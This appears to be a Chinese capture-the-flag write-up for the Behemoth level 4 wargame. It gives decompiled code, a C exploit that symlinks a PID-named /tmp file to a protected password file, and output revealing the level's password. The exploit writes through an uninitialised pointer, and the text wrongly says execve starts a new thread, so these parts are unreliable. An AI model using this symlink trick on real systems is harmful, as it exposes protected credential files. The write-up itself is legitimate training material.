Behemoth4的伪代码如下
int __cdecl main(int argc, const char **argv, const char **envp) { char s; // [sp+0h] [bp-28h]@1 int c; // [sp+14h] [bp-14h]@4 FILE *stream; // [sp+18h] [bp-10h]@1 int v7; // [sp+1Ch] [bp-Ch]@1 v7 = getpid(); sprintf(&s, "/tmp/%d", v7); stream = fopen(&s, "r"); if ( stream ) { sleep(1u); puts("Finished sleeping, fgetcing"); while ( 1 ) { c = fgetc(stream); if ( c == -1 ) break; putchar(c); } fclose(stream); } else { puts("PID not found!"); } return 0; }
将这题单独发出是因为这题可以让新人学习一下C语言的用法;经测试,pwntools并不能在程序执行完成之前创建一个软连接,也就是说Python的执行速度还不够快,所以我选择C;这里还可以顺便讲一下execve(“/behemoth/behemoth4”)和system(“/behemoth/behemoth4”)之间的区别,虽然结果都是执行了behemoth4,但是system函数相当于用shell command的方式执行,PID会改变,而execve是将目标程序替换到当前进程中,大致可以理解为新开了一个线程来执行,PID不变,所以这里的getpid得到的就是behemoth4的pid,攻击代码如下
#include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/types.h> #include <strings.h> int main() { int pid; char *s; char *argv[2] = {"/behemoth/behemoth4",0}; sprintf(&s,"ln -s /etc/behemoth_pass/behemoth5 /tmp/%d",getpid()); system(&s); execve("/behemoth/behemoth4",argv,0); return 0; }
执行结果如下
behemoth5@behemoth:/tmp/pure/gavin$ ./behemoth4_exp Finished sleeping, fgetcing aizeeshing
小结
附件是可执行文件